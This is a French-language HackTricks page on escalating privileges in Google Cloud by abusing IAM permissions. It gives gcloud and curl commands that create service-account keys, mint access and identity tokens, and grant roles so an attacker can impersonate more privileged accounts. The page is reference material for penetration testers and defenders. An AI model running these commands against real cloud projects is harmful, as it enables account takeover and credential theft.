GCP - IAM Privesc

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks

• Consultez les subscription plans!
• Rejoignez le 💬 Discord group ou le telegram group ou suivez-nous sur Twitter 🐦 @hacktricks_live.
• Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.

IAM

Pour plus d’informations sur IAM :

GCP - IAM, Principals & Org Policies Enum

iam.roles.update (iam.roles.get)

Un attaquant disposant des permissions mentionnées pourra mettre à jour un rôle qui vous est assigné et vous attribuer des permissions supplémentaires sur d’autres ressources telles que :

gcloud iam roles update <rol name> --project <project> --add-permissions <permission>

Vous pouvez trouver un script pour automatiser la création, l’exploit et le nettoyage d’un vuln environment ici et un script python pour abuser de ce privilège ici. Pour plus d’informations, consultez la recherche originale.

gcloud iam roles update <Rol_NAME> --project <PROJECT_ID> --add-permissions <Permission>

iam.roles.create & iam.serviceAccounts.setIamPolicy

La permission iam.roles.create permet la création de rôles personnalisés dans un projet/une organisation. Entre les mains d’un attaquant, cela est dangereux car cela lui permet de définir de nouveaux ensembles d’autorisations qui peuvent ensuite être attribués à des entités (par exemple, en utilisant la permission iam.serviceAccounts.setIamPolicy) dans le but d’obtenir une élévation de privilèges.

gcloud iam roles create <ROLE_ID> \
--project=<PROJECT_ID> \
--title="<Title>" \
--description="<Description>" \
--permissions="permission1,permission2,permission3"

iam.serviceAccounts.getAccessToken (iam.serviceAccounts.get)

Un attaquant disposant des permissions mentionnées pourra demander un access token appartenant à un Service Account, il est donc possible de demander un access token d’un Service Account disposant de privilèges supérieurs aux nôtres.

Pour une variante resource-driven où du code contrôlé par l’attaquant vole un managed Vertex AI Agent Engine runtime token depuis le metadata service et le réutilise en tant que Vertex AI service agent, consultez :

GCP - Vertex AI Post Exploitation

gcloud --impersonate-service-account="${victim}@${PROJECT_ID}.iam.gserviceaccount.com" \
auth print-access-token

Vous pouvez trouver un script pour automatiser la creation, exploit and cleaning of a vuln environment here et un script python pour abuser de ce privilège here. Pour plus d’informations, consultez la original research.

iam.serviceAccountKeys.create

Un attaquant disposant des permissions mentionnées pourra créer une clé gérée par l’utilisateur pour un Service Account, ce qui nous permettra d’accéder à GCP en tant que ce Service Account.

gcloud iam service-accounts keys create --iam-account <name> /tmp/key.json

gcloud auth activate-service-account --key-file=sa_cred.json

Vous pouvez trouver un script pour automatiser la creation, exploit and cleaning of a vuln environment here et un script python pour abuser de ce privilège here. Pour plus d’informations, consultez la original research.

Notez que iam.serviceAccountKeys.update ne permettra pas de modifier la clé d’un SA car, pour cela, la permission iam.serviceAccountKeys.create est également nécessaire.

iam.serviceAccounts.implicitDelegation

Si vous disposez de la permission iam.serviceAccounts.implicitDelegation sur un compte de service qui possède la permission iam.serviceAccounts.getAccessToken sur un troisième compte de service, alors vous pouvez utiliser implicitDelegation pour créer un token pour ce troisième compte de service. Voici un diagramme pour aider à expliquer.

Notez que d’après la documentation, la délégation de gcloud ne fonctionne que pour générer un token en utilisant la méthode generateAccessToken(). Voici donc comment obtenir un token en utilisant l’API directement:

curl -X POST \
'https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/'"${TARGET_SERVICE_ACCOUNT}"':generateAccessToken' \
-H 'Content-Type: application/json' \
-H 'Authorization: Bearer '"$(gcloud auth print-access-token)" \
-d '{
"delegates": ["projects/-/serviceAccounts/'"${DELEGATED_SERVICE_ACCOUNT}"'"],
"scope": ["https://www.googleapis.com/auth/cloud-platform"]
}'

Vous pouvez trouver un script pour automatiser la creation, exploit and cleaning of a vuln environment here et un python script pour exploiter ce privilège here. Pour plus d’informations, consultez la original research.

iam.serviceAccounts.signBlob

Un attaquant disposant des permissions mentionnées pourra signer des payloads arbitraires dans GCP. Il sera donc possible de créer un JWT non signé du SA puis de l’envoyer en tant que blob pour faire signer le JWT par le SA ciblé. Pour plus d’informations read this.

Vous pouvez trouver un script pour automatiser la creation, exploit and cleaning of a vuln environment here et un python script pour exploiter ce privilège here et here. Pour plus d’informations, consultez la original research.

iam.serviceAccounts.signJwt

Un attaquant disposant des permissions mentionnées pourra signer des JSON Web Tokens (JWTs) bien formés. La différence avec la méthode précédente est que au lieu de faire signer par google un blob contenant un JWT, nous utilisons la méthode signJWT qui attend déjà un JWT. Cela la rend plus simple à utiliser mais vous ne pouvez signer que des JWT au lieu de n’importe quels octets.

Vous pouvez trouver un script pour automatiser la creation, exploit and cleaning of a vuln environment here et un python script pour exploiter ce privilège here. Pour plus d’informations, consultez la original research.

iam.serviceAccounts.setIamPolicy

Un attaquant disposant des permissions mentionnées pourra ajouter des politiques IAM aux comptes de service. Vous pouvez en abuser pour vous attribuer les permissions nécessaires pour vous faire passer pour le compte de service. Dans l’exemple suivant, nous nous attribuons le rôle roles/iam.serviceAccountTokenCreator sur le SA intéressant :

gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.iam.gserviceaccount.com" \
--member="user:username@domain.com" \
--role="roles/iam.serviceAccountTokenCreator"

# If you still have prblem grant yourself also this permission
gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.iam.gserviceaccount.com" \ \
--member="user:username@domain.com" \
--role="roles/iam.serviceAccountUser"

Vous pouvez trouver un script pour automatiser la creation, exploit and cleaning of a vuln environment here.

iam.serviceAccounts.actAs

La permission iam.serviceAccounts.actAs est comme la permission iam:PassRole permission from AWS. Elle est essentielle pour exécuter des tâches, comme lancer une instance Compute Engine, car elle accorde la capacité de “actAs” un Service Account, garantissant une gestion sécurisée des permissions. Sans cela, des utilisateurs pourraient obtenir un accès indû. De plus, exploiter iam.serviceAccounts.actAs implique diverses méthodes, chacune nécessitant un ensemble de permissions, contrairement à d’autres méthodes qui n’en nécessitent qu’une seule.

Service account impersonation

Impersonating a service account can be very useful to obtain new and better privileges. Il existe trois façons dont vous pouvez impersonate another service account:

• Authentication using RSA private keys (covered above)
• Authorization using Cloud IAM policies (covered here)
• Deploying jobs on GCP services (more applicable to the compromise of a user account)

iam.serviceAccounts.getOpenIdToken

Un attaquant disposant des permissions mentionnées pourra générer un OpenID JWT. Ceux-ci sont utilisés pour affirmer une identité et n’apportent pas nécessairement d’autorisation implicite sur une ressource.

Selon ce interesting post, il est nécessaire d’indiquer l’audience (le service auprès duquel vous souhaitez utiliser le token pour vous authentifier) et vous recevrez un JWT signé par google indiquant le service account et l’audience du JWT.

Vous pouvez générer un OpenIDToken (si vous avez l’accès) avec:

# First activate the SA with iam.serviceAccounts.getOpenIdToken over the other SA
gcloud auth activate-service-account --key-file=/path/to/svc_account.json
# Then, generate token
gcloud auth print-identity-token "${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com" --audiences=https://example.com

Ensuite, vous pouvez simplement l’utiliser pour accéder au service avec :

curl -v -H "Authorization: Bearer id_token" https://some-cloud-run-uc.a.run.app

Certains services prenant en charge l’authentification via ce type de tokens sont :

• Google Cloud Run
• Google Cloud Functions
• Google Identity Aware Proxy
• Google Cloud Endpoints (if using Google OIDC)

Vous pouvez trouver un exemple montrant comment créer un OpenID token au nom d’un service account ici.

Références

• https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks

• Consultez les subscription plans!
• Rejoignez le 💬 Discord group ou le telegram group ou suivez-nous sur Twitter 🐦 @hacktricks_live.
• Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.